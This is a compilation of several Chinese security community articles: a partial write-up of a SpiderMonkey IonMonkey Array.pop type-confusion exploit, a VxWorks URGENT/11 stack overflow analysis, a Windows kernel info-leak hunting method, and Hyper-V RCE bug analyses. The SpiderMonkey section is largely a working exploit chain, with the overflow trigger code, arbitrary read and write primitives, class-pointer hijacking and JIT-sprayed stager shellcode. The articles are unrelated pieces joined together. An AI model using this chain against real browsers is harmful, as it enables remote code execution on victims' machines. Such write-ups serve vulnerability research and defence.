返回的类型与推断类型相同，因此不会发生任何[类型障碍](http://smallcultfollowing.com/babysteps/blog/2012/07/30/type-inference-in-spidermonkey/#type-barriers
"类型障碍")。然后它假定返回类型将始终是一个对象，并继续删除弹出元素上的所有类型检查。
这里就是错误。在内联 Array.pop 时，IonMonkey 应该检查数组 prototype
有没有任何索引属性。相反，它只检查ArrayPrototype 没有任何索引属性。所以这意味着如果我们在数组和 ArrayPrototype
之间有一个中间的 prototype，那么就不会检查那些元素。以下，是“js / src / jit / MCallOptimize.cpp”
中“onBuilder :: inlineArrayPopShift”的相关片段。
bool hasIndexedProperty;
MOZ_TRY_VAR(hasIndexedProperty, ArrayPrototypeHasIndexedProperty(this, script()));
if (hasIndexedProperty) {
trackOptimizationOutcome(TrackedOutcome::ProtoIndexedProps);
return InliningStatus_NotInlined;
}
以下是绕过这个问题的方法。
那么将索引元素放在数组原型上有什么好处呢？ 当数组是稀疏数组并且 Array.pop 遇到空元素（JS_ELEMENTS_HOLE）时，它会向
prototype 链扫描具有索引元素的 prototype，以及与所需索引对应的元素。 例如：
js> a=[]
[]
js> a[1]=1 // Sparse Array - element at index 0 does not exist
1
js> a
[, 1]
js> a.__proto__=[1234]
[1234]
js> a.pop()
1
js> a.pop() // Since a[0] is empty, and a.__proto__[0] exists, a.__proto__[0] is returned by Array.pop
1234
现在问题 - 当 JIT 编译函数 v7 时，所有类型检查都被删除，因为观察到的类型与推断的类型相同，并且TI机制不跟踪原型上的类型。当数组 v4 pop
所有原始元素后，如果再次调用 v7，则将 v4 [3] 设置为对象。这意味着 v4 现在是一个稀疏数组，因为 v4 [0]，v4 [1] 和 v4 [2]
为空。 因此，当试图弹出 v4 [2] 和 v4 [1] 时，Array.pop会返回 prototype 中的值。现在，当它尝试对 v4 [0]
执行相同操作时，将返回浮点值而不是对象。但是 IonMoney 仍然认为
Array.pop（现在是浮点数）返回的值是一个对象，因为这里没有类型检查。接着，IonMoney 执行到 POC
下一部分，从返回的对象中获取属性“a”，此时就崩溃了，因为返回的不是一个对象的指针，而是一个用户控制的浮点数。
## 实现任意读写
我花了很多时间试图泄漏。 最初我的想法是创建一个浮点数组，并把 prototype 上将一个元素设置为一个对象。因此，IonMoney 会假设
Array.pop 总是返回一个浮点数并将对象指针视为浮点数并泄漏指针的地址。但这没有成功，这里会有检查代码来验证 Array.pop
返回的值是否为有效浮点数。对象指针是标记指针，因此是无效的浮点值。我不确定为什么在代码中有这样的检查，所以无法从这种方法进行泄漏，不得不花一些时间考虑替代方案。
顺便说一句，我还写了一篇关于 [SpiderMonkey](https://vigneshsrao.github.io/play-with-spidermonkey/ "SpiderMonkey") 数据结构和概念的文章。
## Uint8Array 和 Uint32Array
由于 float 方法不起作用，我在想 JIT 编译时如何访问不同类型的对象。 在查看类型数组赋值时，我遇到了一些有趣的东西：
mov edx,DWORD PTR [rcx+0x28] # rcx contains the starting address of the typed array
cmp edx,eax
jbe 0x6c488017337
xor ebx,ebx
cmp eax,edx
cmovb ebx,eax
mov rcx,QWORD PTR [rcx+0x38] # after this rcx contains the underlying buffer
mov DWORD PTR [rcx+rbx*4],0x80
这里 rcx 是指向数组的指针，而 eax 包含我们分配的索引。[rcx+0x28]
实际上是保持数组的大小。因此，检查是为了确保索引小于数组大小，但没有进行对象的检查（因为删除了类型检查）。这意味着，如果JIT编译的是
Uint32Array 对象并且 prototype 包含 Uint8Array对象，那这将造成溢出。这是因为 IonMonkey 总期望是一个
Uint32Array 进行操作（从汇编代码的最后一行可以看出，它直接执行一个mov DWORD PTR），但如果数组类型是 Uint8Array
那么它的大小将变大（因为现在每个元素都是一个字节而不是 dword）。
因此，如果我们传递一个大于 Uint32Array 大小的索引，它将通过检查并初始化。
例如，上面的代码是下面的编译形式 ：
v11[a1] = 0x80
其中 v11 = Uint32Array 数组。 底层 ArrayBuffer 的大小是32（0x20）字节。这意味着这个 Uint32Array 的大小是
32/4 = 8 个元素。现在，如果 v11 突然改变为同一底层 ArrayBuffer 上的 Uint8Array，那么大小（[rcx + 0x28]）是
32/1 = 32 个元素。但是在分配值时，代码仍然使用 mov DWORD PTR 而不是 mov BYTE PTR 。因此，如果我们将索引设为
30，那么检查将在与 32（而不是8 )进行比较时传递。 因此我们写入 buffer_base +（30 * 4）= buffer_base +
120，而缓冲区只有 32 个字节长！
现在我们要做的就是将缓冲区溢出转换为任意地址读写。
此溢出位于ArrayBuffer的缓冲区中。现在，如果缓冲区足够小（我认为小于96字节，但不确定），那么这个缓冲区是内联的，换句话说，就在
ArrayBuffer 类的 metadata 之后。 首先让我们看看可以实现此溢出的代码。
buf = []
for(var i=0;i<100;i++)
{
buf.push(new ArrayBuffer(0x20));
}
var abuf = buf[5];
var e = new Uint32Array(abuf);
const arr = [e, e, e, e, e];
function vuln(a1) {
if (arr.length == 0) {
arr[3] = e;
}
/*
If the length of the array becomes zero then we set the third element of
the array thus converting it into a sparse array without changing the
type of the array elements. Thus spidermonkey's Type Inference System does
not insert a type barrier.
*/
const v11 = arr.pop();
v11[a1] = 0x80
for (let v15 = 0; v15 < 100000; v15++) {}
}
p = [new Uint8Array(abuf), e, e];
arr.__proto__ = p;
for (let v31 = 0; v31 < 2000; v31++) {
vuln(18);
}
buf 是一个 ArrayBuffer 数组，每个都是 0x20。 在内存中，所有这些分配的 ArrayBuffer 将连续存在。
下面是它们在内存中的分布：
现在，如果我们在 buf 数组的第二个元素的数据缓冲区中有溢出，那么我们可以去编辑连续 ArrayBuffer 的 metadata 。我们可以定位
ArrayBuffer 的长度字段，该字段实际指定数据缓冲区的长度。我们修改它，这样 buf 数组中的第三个 ArrayBuffe
r就会达到任意大小。因此，现在第三个 ArrayBuffer 的数据缓冲区与第四个 ArrayBuffer 重叠，这允许我们从第四个 ArrayBuffer
的 metadata 中泄漏东西！
在上面的代码中，我们在索引6处编辑 ArrayBuffer 的长度并将其设置为 0x80。 因此，现在我们可以从第 7 个元素的 metadata
泄漏数据，可以获得任何想要的泄漏。
leaker = new Uint8Array(buf[7]);
aa = new Uint8Array(buf[6]);
leak = aa.slice(0x50,0x58);
group = aa.slice(0x40,0x48);
这里，泄漏的是 ArrayBuffer 的第一个视图的地址，它是一个 Uint8Array 视图（leaker对象）。group 是此ArrayBuffer
的地址。现在我们可以进行泄露，那么需要将其转换为任意地址读写。因此，我们将在索引7处编辑指向ArrayBuffer
数据缓冲区的指针，用以指向任意地址。让我们将这个任意地址写上刚刚泄露的 Uint8Array 的地址。因此，下次我们在
ArrayBuffer上创建一个视图时，它的数据缓冲区将指向一个 Uint8Array（及：leaker）。
现在有了这个，我们可以编辑 leaker 对象的数据指针并将其指向任何地方。之后，查看数组会泄漏该地址的值，并且写入该数组会编辑该地址的内容。
changer = new Uint8Array(buf[7])
function write(addr,value){
for (var i=0;i<8;i++)
changer[i]=addr[i]
value.reverse()
for (var i=0;i<8;i++)
leaker[i]=value[i]
}
function read(addr){
for (var i=0;i<8;i++)
changer[i]=addr[i]
return leaker.slice(0,8)
}
现在我们在内存中有任意读写，我们所要做的就是将其转换为代码执行！
## 实现代码执行
有许多方法可以实现代码执行。 [这里](https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#kaizenjs "这里")，我遇到了一种注入和执行 shellcode
的有趣方法，并决定在这种情况下尝试一下。
上面这篇文章的作者精美地解释了这个概念，但为了完整起见，我只是简单介绍这些要点。
就像我在之前关于SpiderMonkey内部的帖子中提到的那样，每个对象都与一个由 JSClass 对象组成的组相关联。 JSClass 包含一个
ClassOps 元素，它包含控制如何添加，删除属性等的函数指针。如果我们设法劫持这个函数指针，那么代码执行就是一个容易的工作。
我们可以使用我们选择的地址覆盖 class_pointer 。在这个地址，我们伪造了整个 js :: Class 结构。至于字段，我们可以从原始的
Class 对象泄漏出来。这里我们只需要确保 cOps 指向我们在内存中写入的函数指针表。在这个漏洞利用中，我将使用指向 shellcode 的指针覆盖
addProperty 字段。
grp_ptr = read(aa)
jsClass = read_n(grp_ptr,new data("0x30"));
name = jsClass.slice(0,8)
flags = jsClass.slice(8,16)
cOps = jsClass.slice(16,24)
spec = jsClass.slice(24,32)
ext = jsClass.slice(40,48)
oOps = jsClass.slice(56,64)
## 注入Shellcode
我们或多或少会使用与上述帖子中作者所显示的技术相同的技术。 让我们创建一个函数来保存我们的 shellcode 。
buf[7].func = function func() {
const magic = 4.183559446463817e-216;
const g1 = 1.4501798452584495e-277
const g2 = 1.4499730218924257e-277
const g3 = 1.4632559875735264e-277
const g4 = 1.4364759325952765e-277
const g5 = 1.450128571490163e-277
const g6 = 1.4501798485024445e-277
const g7 = 1.4345589835166586e-277
const g8 = 1.616527814e-314
}
这是一个 stager shellcode，它将使用 mprotect 使内存区域有读写执行权限。 下面是一个稍详细的解释。
# 1.4501798452584495e-277
mov rcx, qword ptr [rcx]
cmp al,al
# 1.4499730218924257e-277
push 0x1000
# 1.4632559875735264e-277
pop rsi
xor rdi,rdi
cmp al,al
# 1.4364759325952765e-277
push 0xfff
pop rdi
# 1.450128571490163e-277
not rdi
nop
nop
nop
# 1.4501798483875178e-277
and rdi, rcx
cmp al, al
# 1.4345589835166586e-277
push 7
pop rdx
push 10
pop rax
# 1.616527814e-314
push rcx
syscall
ret
那么为什么我们将这个函数赋值为 buf [7] 的属性？ 我们知道 buf [7]的地址，因此我们可以使用任意地址读取获取其任何属性的地址。
这样我们就可以得到这个函数的地址。 但在继续之前，先让 JIT 编译我们的函数。
for (i=0;i<100000;i++) buf[7].func()
现在我们编译了自己的 shellcode！ 但是等等我们还不知道那个 shellcode 的地址...... 但这就是为什么我们将此函数指定为 buf
[7]的属性。 由于这是最新添加的属性，它将位于 slots buffer 的顶部，由于我们有任意地址读写的能力，可以轻松读取此地址。
一旦我们有了函数的基地址，我们就可以从 JSFunction 的 jitInfo 成员泄漏一个 JIT 指针。 在此之后我们只需要找到 shellcode
的起始位置，这就是我们在 shellcode 的开头放上了一个特殊值（magic value）的原因。
现在我们拥有了实现控制流所需的一切： 一个覆盖的目标，一个跳转到的目标，任意地址读写。 所以，让我们去覆盖我们关注过的 clasp_ 指针！
首先，我们创建一个 Uint8Array 来保存我们的 shellcode 。 然后我们得到这个 Uint8Array 的地址，就像我们找到我们编译
shellcode 的函数的地址一样。 我们的目标是获取保存 shellcode 的缓冲区的地址。 一旦我们得到保存shellcode 的
Uint8Array 的起始地址，我们只需添加 0x38 就可以获得存储原始 shellcode 的缓冲区的地址。
请记住，此区域尚不可执行，但我们将通过使用我们的 stager shellcode 来实现。 在这个漏洞利用中，我将使用addProperty
的函数指针来获取代码执行。 当我们尝试向对象添加属性时，会触发此指针。
obj.trigger = some_variable
我注意到的一件事: 当调用它时，rcx 寄存器包含一个指向要添加的属性的指针（在本例中为 some_variable ）。
因此，我们可以以这种方式将一些参数传递给我们的 stager shellcode 。 我将 shellcode 缓冲区的地址传递给stager
shellcode 。 stager shellcode 将使整个页面成为 rwx，然后跳转到我们的 shellcode。
请注意，shellcode 调用 execve 来执行/ usr / bin / xcalc。
## 参考
* <https://bugs.chromium.org/p/project-zero/issues/detail?id=1820>
* <http://smallcultfollowing.com/babysteps/blog/2012/07/30/type-inference-in-spidermonkey>
* <https://mathiasbynens.be/notes/shapes-ics>
* <https://mathiasbynens.be/notes/prototypes>
* <https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/>
* <https://vigneshsrao.github.io/play-with-spidermonkey/>
* [SpiderMoney Source Code](https://github.com/mozilla/gecko-dev/tree/83bea62461d1e30aebef5077462fafb256368e9e/js/src "SpiderMoney Source Code") | 社区文章 |
原文链接： <https://go.armis.com/hubfs/White-papers/Urgent11%20Technical%20White%20Paper.pdf>
## 漏洞介绍
CVE-2019-12256 漏洞是 'URGENT/11' 中的一个，漏洞成因是在解析 IPv4 数据包 IP 选项时的栈溢出。
## 漏洞分析
在 VxWorks 的 IPnet 堆栈中，IPv4 协议在模块ipnet2/src/ipnet_ip4.c 中实现。该函数 ipnet_ip4_input
是传入IPv4 数据包的入口点。该功能首先执行基本功能验证头，然后 **调用 ipnet_dst_cache_get**
。这将根据报文的源IP地址和目的IP地址执行查找处理程序回调。
例如，如果目标地址与本地地址匹配，将调用 ipnet_ip4_local_rx 处理程序。除此以外可以转发（路由）分组，或者可能是目的地不可达条件触发。
某些错误条件（例如 Destination Unreachable）将触发要发送的 ICMP 错误数据包调用 ipnet_icmp4_send。
当由于IP格式错误而发生错误时，也会调用此函数选项和 ICMP 参数，问题数据包将被发送。 这可以通过多个阶段发生正在解析哪些 IP 选项：在
ipnet_ip4_multiple_srr_opt_check 中，仅验证该选项字段或任何各种选项中存在 LSRR 或 SSRR 选项的一个实例解析函数
- ipnet_ip4 _opt_ * _ rx。 在 ipnet_icmp4_send
中，构造了一个错误包，并且传入（格式错误的）数据包中的某些选项字段将被复制。 这是 ipnet_icmp4_copyopts 的功能。 以上流程如下图所示：
如上所示，在解析传入的IPv4分组时，各种代码流可以导致ICMP消息被发送以响应错误的（格式错误的）数据包。 将使用 ipnet_icmp4_send
函数发送响应ICMP数据包，它将尝试从传入中复制某些 IP 选项使用函数 ipnet_icmp4_copyopts 将数据包发送到传出数据包。
在至少两个代码流中，在完全解析传入的数据包和传入的 IP 之前，将发送传出的 ICMP
数据包选项完全验证是合法的，或者即使它们已经未通过验证。这个设计缺陷可能会导致此 ipnet_icmp4_send 上下文中的堆栈溢出。
**自VxWorks版本6.9.3起，此漏洞就存在。两个不同的流可能导致此漏洞：**
1. 发送到目标 MAC 地址但目标 IP 地址不是 a 的数据包目标的单播地址，并且无法访问它，这将导致调用
ipnet_ip4_dst_unreachable。
2. 通过其 MAC 和 IP 地址定向到目标的普通单播数据包。 这个将发生在 ipnet_ip4_multiple_srr_opt_check 函数中。当传入数据包的目标IP无法访问时，第一个流发生在 ipnet_ip4_input 中根据 ipnet_dst_cache_new 的返回值，它指示数据包应如何路由：
然后函数 ipnet_ip4_dst_unreachable 将调用 ipnet_icmp4_send 并附加原始数据包到 icmp_param 结构。 在
ipnet_icmp4_send 中，来自失败（传入）数据包的 IP 选项将是由将传递给 ipnet_icmp4_copyopts 的结构引用：
缺省情况下，options_to_copy 结构将指示 ipnet_icmp4_copyopts 复制 SSRR 和LSRR
从失败的数据包到输出数据包的选项。 当失败的数据包尚未验证时，包含有效的 IP 选项（与上述流程一样），可以强制执行
ipnet_icmp4_copyopts 功能
将故障数据包中的多个 SSRR 或 LSRR 选项复制到opts结构上，在 ipnet_icmp4_send 的堆栈上分配。
此外，这些复制的选项可能包含非法否则不允许的结构。 例如，发送IP数据包时在 IP 选项字段中包含以下字节，将发生堆栈溢出：
在此示例中，IP选项字段中包含两个LSRR选项。 这些LSRR选项不包含任何路由条目（每个选项长度只有3个字节），SRR-Pointer字段指向结束选项。如前所述，接收SRR选项的主机需要记录所有记录路由条目，反转它们的顺序，并使用它来创建一个新的SRR选项，该选项将添加到任何一个返回包。
可以在ipnet_icmp4_copyopts中查看此功能：
ipnet_icmp4_copyopts 中的代码将使用这些 SRR-Pointer 字段作为最终路由条目的偏移量在 SRR
选项中，将所有路由条目复制到传出数据包选项 opts，即在 ipnet_icmp4_send 的堆栈上分配。
输入缓冲区中的每个 LSRR
选项都是3个字节长，但它将生成一个43字节的复制输出选项（3个字节的标题，36个字节的路由条目，4个字节的a）。由于没有验证（在此上下文中）失败数据包不包含多个SSRR
\
LSRR选项，将导致发送此类型的多个选项在opts的溢出中，这是在堆栈上分配的40字节数组。如上所述，当包含数据包的数据包时，此漏洞也可能由另一个流触发以上选项直接发送到目标设备，而不会导致目标无法访问条件。这是因为当各种ipnet
_opt_ * _
rx中的选项解析过程失败时函数，或在ipnet_ip4_multiple_srr_opt_check函数中，发送ICMP错误消息响应（通过ipnet_ip4_opt_icmp_param_prob）。发生这种情况时，剩下的选项不是由这些验证函数解析仍然可以包含非法值，例如多个SRR选项如上所述，这将导致所提到的堆栈溢出。由于溢出将包含来自输入数据包的攻击者控制的数据，这个漏洞可能导致远程代码执行两种流动。
## 总结
幸运的是，因为漏洞依赖于发送带有无效 IP 选项的数据包，所以它不可能通过互联网利用。遇到数据包的第一个路由器将丢弃它。因此，漏洞只能由 LAN
上的攻击者利用。
由于此漏洞在解析 IP 标头本身时，也可以通过发送一个特殊的 crash
包来触发在广播数据包中使用无效IP选项。这可以允许攻击者同时定位多个易受攻击的设备。 | 社区文章 |
# 【技术分享】自动化挖掘 Windows 内核信息泄漏漏洞
##### 译文声明
本文是翻译文章，文章来源：iceswordlab.com
原文地址：<http://www.iceswordlab.com/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_zh/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**author :**[ **fanxiaocao(@TinySecEx)**](https://twitter.com/TinySecEx)
**and**[ **@pjf_**](http://weibo.com/jfpan) **of IceSword Lab , Qihoo 360**
**前言**
2017年6月补丁日，修复了我们之前报告的5个内核信息泄漏漏洞 , 文章末尾有细节。
前年我演示过如何用JS来fuzz 内核，今天我们要给大家带来的是不依赖fuzz，来自动化挖掘内核漏洞。
从最近的几个月工作里，选取了一个小点，说下内核信息泄漏类型漏洞的挖掘。
**背景**
windows vista 之后，微软对内核默认启用了了ASLR ，简称KASLR.
KASLR 随机化了模块的加载基址 , 内核对象的地址等，缓解了漏洞的利用。
在win8 之后，这项安全特性的得到了进一步的增强。
引入 nt!ExIsRestrictedCaller 来阻止Low integrity 的程序调用某些可以泄漏出模块基址，内核对象地址等关键信息的函数。
包括但不限于:
**NtQuerySystemInformation**
* SystemModuleInformation
* SystemModuleInformationEx
* SystemLocksInformation
* SystemStackTraceInformation
* SystemHandleInformation
* SystemExtendedHandleInformation
* SystemObjectInformation
* SystemBigPoolInformation
* SystemSessionBigPoolInformation
* SystemProcessInformation
* SystemFullProcessInformation
**NtQueryInfomationThread**
**NtQueryInfomationProcess**
以上是传统的可以获取 内核模块地址和内核对象地址的方法 , 作为内核正常的功能。
但对于integrity 在medium 以下的程序，在win8 以后调用会失败。
KASLR 作为一项漏洞利用缓解措施，其中的一个目的就是为了使得构建通用的ROP-CHAIN 更为困难.
作为漏洞的利用者来说，挖掘出信息泄漏漏洞，来直接泄漏出所需要的模块基址，就是直接对抗KASLR的办法。
**特点**
作为内核漏洞的一种，在挖掘的过程中有特殊的地方。比如，对于传统内存损坏类漏洞而言，漏洞本身就会影响系统的正常运行，使用verifier等工具，能较为方便的捕获这种异常。
但是信息泄漏类型的漏洞，并不会触发异常，也不会干扰系统的正常运行，这使得发现它们较为困难。
漏洞是客观存在的，我们需要做的以尽可能小的成本去发现它们。
**挖掘思路**
泄漏发生时，内核必然会把关键的信息写入用户态的内存，如果我们监控所有内核态写用户态地址的写操作，就能捕获这个行为。
当然系统并没有提供这个功能，这一过程由@pjf的一个专门的基于硬件虚拟化的挖掘框架进行捕获。
为了不干扰目标系统本身的操作，我在虚拟机里执行监控，获取必要的信息，在写成log后，再在宿主机进行二次分析。
在物理机里，解码日志并加载符号，做一些处理之后
就得到这样的一批日志。
**二次分析**
现在我们有了一段实际运行过程中内核写到用户态内存的所有记录。这里面绝大多数都是正常的功能，
我们需要排除掉干扰，找出数据是关键信息的。
这里主要用到了两个技巧。
**污染内核栈**
毒化或者说污染目标数据，是一种常见的思路。在网络攻防里，也有ARP 和DNS缓存的投毒。
这里所说的内核栈毒化，指的就是污染整个未使用的内核栈空间。如果某个内核栈上的变量没有初始化，
那么在这个变量被写到到用户态时，写入的数据里就有我所标记的magic value ,找出这个magic value所在的记录，就是泄漏的发生点。
同时我注意到，j00ru 在他的BochsPwn项目里也曾使用了类似的技巧。
**KiFastCallEntry Hook**
为了有时机污染内核栈，我Hook 了KiFastCallEntry ， 在每个系统调用发生时，污染当前栈以下剩余栈空间。
首先使用 IoGetStackLimits 获取当前线程的范围，然后从栈底部到当前栈位置的整个空间都被填充为0xAA 。
这样进入系统调用之后，凡是内核堆栈上的局部变量的内容，都会被污染成0xAA。
**污染内核POOL**
类似的，对于动态分配的内存,我采用hook ExAllocatePoolWithTag等，并污染其POOL内容的方式。
这样，无论是栈上的，还是堆上的，只要是未初始化的，内容都被我们污染了。
如果这个内核堆栈变量没有正确的初始化，就有可能将这个magic value写入到用户态的内存。结合我们捕获的日志，就能马上发现这个信息泄漏。
为了排除掉巧合，使用了多次变换magic value 如 0xAAAAAAAA , 0xBBBBBBBB 的办法来进行排除误报。
排除干扰之后的一次典型的结果如下
可以看到，在某次短暂的监控过程中，就抓到了系统里 161 次泄漏。
当然这没有排重，并不是有这么多个独立的漏洞，而是某些漏洞在反复的泄漏。
此时我们就抓到了一个真正的信息泄漏漏洞，有堆栈信息，再辅以简单的人工分析，就能知道细节，
这也是 CVE-2017-8482 背后的故事。
**差异比对**
对于未初始化堆栈所导致的内核信息泄漏，我们可以用污染然后查找标记的方式发现。
对于直接泄漏了关键信息的，比如直接写入了模块，对象，POOL地址类型的，就不能用这种方法发现了。
在系统运行过程中，内核本身就会频繁的向用户态写入数据，很多数据在内核地址范围内，但实际上并不是有效的地址，只是一种噪音数据。
这种噪音数据有很多，像字符串，像素，位置信息等都有可能恰好是一个内核地址，我们需要排除掉这些噪音，发现真正的泄漏。
这里我们过滤出一部分有意义的地址，比如
**1.模块地址，必须在内核模块地址范围内。**
**2.object地址**
**3.POOL地址**
在环境改变，比如重启系统之后 ，必须还能在相同的位置泄漏相同类型的数据。
在排除掉系统正常的功能如 NtQuerySystemInformation 之类的之后，得到的数据，可信度就非常高了。
**泄漏模块地址**
以 CVE-2017-8485 为例，比对之后得到的结果
可以看到，此时的结果就非常直观了，相同的堆栈来源在相同的位置下，都泄漏了nt!ObpReferenceObjectByHandleWithTag+0x19f
这个地址。
**泄漏object地址**
由于泄漏object地址和POOL地址的本月微软还没来得及出补丁，不能描述细节。
可以看到其中的一个案例，某个函数泄漏一个相同object的地址。
值得一提的是，对于这种不是从堆栈上复制数据产生的泄漏，是无法用污染堆栈的方法发现的。
**最后**
可以看到，我们不需要专门的fuzz，仅仅依靠系统本身的运行产生的代码覆盖，就发现了这些漏洞。
任何程序的正常运行，都能提高这个覆盖率。
事实上，在实际的挖掘过程中，我仅仅使用了运行游戏和浏览器的办法就取得了良好的效果 , 一局游戏打完，十个内核洞也就挖到了。
**本月案例**
**CVE-2017-8470**
**CVE-2017-8474**
**CVE-2017-8476**
**CVE-2017-8482**
**CVE-2017-8485** | 社区文章 |
**作者：洪祯皓@蚂蚁安全实验室
原文链接：<https://mp.weixin.qq.com/s/TMe_Qxh4CZB3L0GiA1hbqA>**
近日，蚂蚁安全光年实验室洪祯皓的议题《Mobius Band Explore Hyper-V Attack Interface through
Vulnerabilities Internals》入选全球最顶级的极客大会Black Hat USA
2021，该议题重点分享了微软Azure云的虚拟化解决方案Hyper-V的新型攻击面。
虚拟化软件作为业务和硬件的连接桥梁，一旦被发现漏洞，很可能横向影响多台虚拟机，纵向影响业务软件及物理机安全。Hyper-V作为微软虚拟化解决方案的代表，微软对其安全漏洞的奖金高达25万美金，可见微软对其安全性的重视与信心，业内相关的研究资料也是凤毛麟角。
本篇议题首先介绍了Hyper-V的基本架构，以及Guest中的数据是如何传输到Host中的Hyper-V组件并加以解析的。然后通过和Windows平台上EOP漏洞利用的比较，总结出Hyper-V在安全研究中存在的难点。议题中还公开了三个已经修复的Hyper-V RCE漏洞，这三个漏洞都可以在Guest中触发，并可导致Hyper-V
Host执行任意代码。通过探究这些漏洞的成因和触发方式，读者将了解到Hyper-V的多个攻击面。
## 01 Hyper-V架构介绍
Hyper-V总体架构如下：
Hyper-V的Hypervisor架构如下：
Hyper-V的VMBUS架构如下：
Hyper-V中的Host Driver架构如下:
Hyper-V的Ring3架构如下：
## 02 Hyper-V Guest和Host之间如何通信
Hyper-V Guest和Host之间的通信依靠VMBUS组件。在Guest中，vmbus_open函数用来初始化Guest中的VMBUS
Channel。vmbus_open函数的流程如下：
vmbus_sendpacket函数被Guest用来向Host发送数据，vmbus_on_event函数被Guest用来接收Host发来的数据。
下面介绍在Host中的VMBUS，这里有两个重要的函数：vmbkmclr!KmclpVmbusManualIsr和vmbkmclr!KmclpVmbusIsr。
vmbkmclr!KmclpVmbusManualIsr用来分发Guest数据到Host驱动，vmbkmclr!KmclpVmbusIsr用来分发数据到Host用户态组件。
下面是Guest数据到Host驱动的路径，这里拿storvsp驱动为例。
下面是Guest数据到Host用户态组件的路径，这里拿vmiccore组件为例。
## 03 Hyper-V安全研究的难点
这里我们用Win32k!EngRealizeBrush整数溢出漏洞（MS17-017）比较Hyper-V在安全研究中的难点。
在攻击面层面上，传统的EoP漏洞可以使用的系统API很多，并且Ring0中的驱动可以直接从用户态地址读取数据。而Hyper-V中，没有可以使用的系统API，所有的数据都通过VMBUS传输，Ring0中的驱动无法直接从Guest地址中读取数据。
在内核对象的分配和释放层面上，传统的EoP漏洞有很多内核对象可以利用、很容易控制内核对象的分配和释放、通过利用内核对象构造读写原语也相对容易。在Hyper-V中，目前还在寻找适合用作漏洞利用的内核对象、对内核对象的释放与分配无法做到直接的控制，也无法做到直接控制分配与释放的时机、某些内核对象中只有很少的内容可以从Guest中控制。
在TOCTTOU类型的漏洞层面上，传统的EoP需要满足两个基本点，第一是内核模块取到一个用户态的指针，第二是从这个用户态指针中获取数据超过两次。但在Hyper-V中，所有的数据都通过VMBUS机制传输，Ring0组件无法直接通过Guest中的地址读取到数据。
## 04 漏洞细节
这个漏洞编号为CVE-2019-0620，下面是触发这个漏洞的栈回溯。
发生这个漏洞的根源在调用vmbkmclr!VmbChannelPacketComplete函数时，两次调用中使用了相同的第一参数。
我们在WinDbg中下断点，并且进行调试。
断点内容为：bp storvsp!VstorCompleteScsiRequest+0x2d7 "r @rcx;k;r @$thread;!pool
@rcx;.echo ; g"。
下面的栈回溯在正常流程中被触发：
下面的栈回溯只有在vhdmp!VhdmpiPerformExtraScsiActions函数的第二参数偏移0x08处的内存不为NULL时被触发。
使用vhdmp!VhdmpiScsiCommandWriteUsingToken和vhdmp!
VhdmpiScsiCommandCopyOperationAbort函数可以间接的将vhdmp!VhdmpiPerformExtraScsiActions函数的第二参数偏移0x08处的内存写入一个指针，并触发如下栈回溯。
vhdmp!VhdmpiScsiCommandWriteUsingToken和vhdmp!
VhdmpiScsiCommandCopyOperationAbort函数的上层调用是vhdmp!VhdmpiScsiCommandCopyOperations。
如图所示，v5可以通过Guest控制。
POC代码节选如下：
下个漏洞的编号为CVE-2019-0720。下面是崩溃时的现场。
RtlDeleteElementGenericTableAvl函数的第二参数是RtlLookupElementGenericTableAvl函数的返回值。
RtlDeleteElementGenericTableAvl函数从generic
table中删除一个特定的元素并且随后释放掉这个特定元素。vmbusr!ChUnmapGpadlView函数的第二参数是gpadl_handle，gpadl_handle可以被Guest控制。
vmbusr!ChUnmapGpadlView函数运行在多线程的环境中，也就是多CPU环境中。vmbusr!ChUnmapGpadlView函数的第二参数也就是gpadl_handle可以被Guest控制，并且该函数第一参数可以被我们使用的channel控制。
假设有如下的情况：
1、有两个线程ThreadA和ThreadB，运行在不同的CPU上。
2、ThreadA和ThreadB同时运行到vmbusr!ChUnmapGpadlView函数。
3、这两个线程调用vmbusr!ChUnmapGpadlView函数使用同样的参数。
4、ThreadA比ThreadB要快一点点。
我们把vmbusr!ChUnmapGpadlView函数分为三个状态。如下图：
第一步，ThreadA首先会获取到自旋锁，ThreadA处于状态1并持有锁。同时，ThreadB也会试图获取并等待锁。
第二步，ThreadA调用函数RtlLookupElementGenericTableAvl并返回指针A，然后ThreadA释放掉自旋锁。
第三步，ThreadB会获取到相同的锁，ThreadA现在在试图获取并等待锁。这个时候，ThreadA在状态2，ThreadB在状态1并且持有锁。
第四步，ThreadB调用RtlLookupElementGenericTableAvl函数并且返回指针B，然后ThreadB释放掉自旋锁。因为两个线程调用vmbusr!ChUnmapGpadlView函数使用了相同的参数，所以指针A和指针B是相同的。
第五步，ThreadA会获取到第二个自旋锁，然后调用vmbusr!ChDeleteGpadlViewIfUnreferenced函数并且释放掉指针A指向的内存，并且将指针A从generic
table中删除。最后，ThreadA会释放掉自旋锁。现在，ThreadB在状态2，ThreadA在状态3。
第六步，ThreadB获取到第二个自旋锁，然后调用函数vmbusr!ChDeleteGpadlViewIfUnreferenced释放到指针B指向的内存，并且将指针B从generic
table中删除。
因为指针A和指针B相等，所以vmbusr!ChDeleteGpadlViewIfUnreferenced函数使用了一个已经释放掉的内存作为第二参数，然后，发生UAF。
所以，如果我们想触发这个问题，必须要有两个必要条件：1、有两个互不干扰的线程运行到vmbusr!ChUnmapGpadlView函数。2、两个线程调用vmbusr!ChUnmapGpadlView函数拥有相同的参数，即gpadl_handle相同。
幸运的是，我找到了两个不同的线程调用vmbusr!ChUnmapGpadlView函数，并且可以控制它们变成两个互不干扰的线程。下图是这两个线程的栈回溯。
Thread1可以通过向宿主机发送NVSP_MSG1_TYPE_REVOKE_RECV_BUF消息和CHANNELMSG_GPADL_TEARDOWN消息触发。代码节选如下：
Thread2可以通过模拟按下虚拟机的reset键触发。代码节选如下：
并且，efi.rest_system会触发一个重要的线程去控制Thread1和Thread2变成两个互不干扰的线程。下面是这个重要线程的栈回溯：
这个重要的线程需要在Thread1和Thread2前运行，所以我们需要使用下面的代码来设置vmswitch!VmsVmNicPvtRevokeRecieveBufferWorkItem函数进入睡眠状态。
POC代码的原理是设置vmswitch!VmsVmNicPvtRevokeRecieveBufferWorkItem函数的第二参数偏移0xe0处的内存设置成非0，并且vmswitch!VmsVmNicPvtRevokeRecieveBufferWorkItem函数会进入睡眠状态直到第二参数偏移0xe0处的内存设置成0。幸运的是，我们也可以调用efi.rest_system把第二参数偏移0xe0处的内存设置成0。
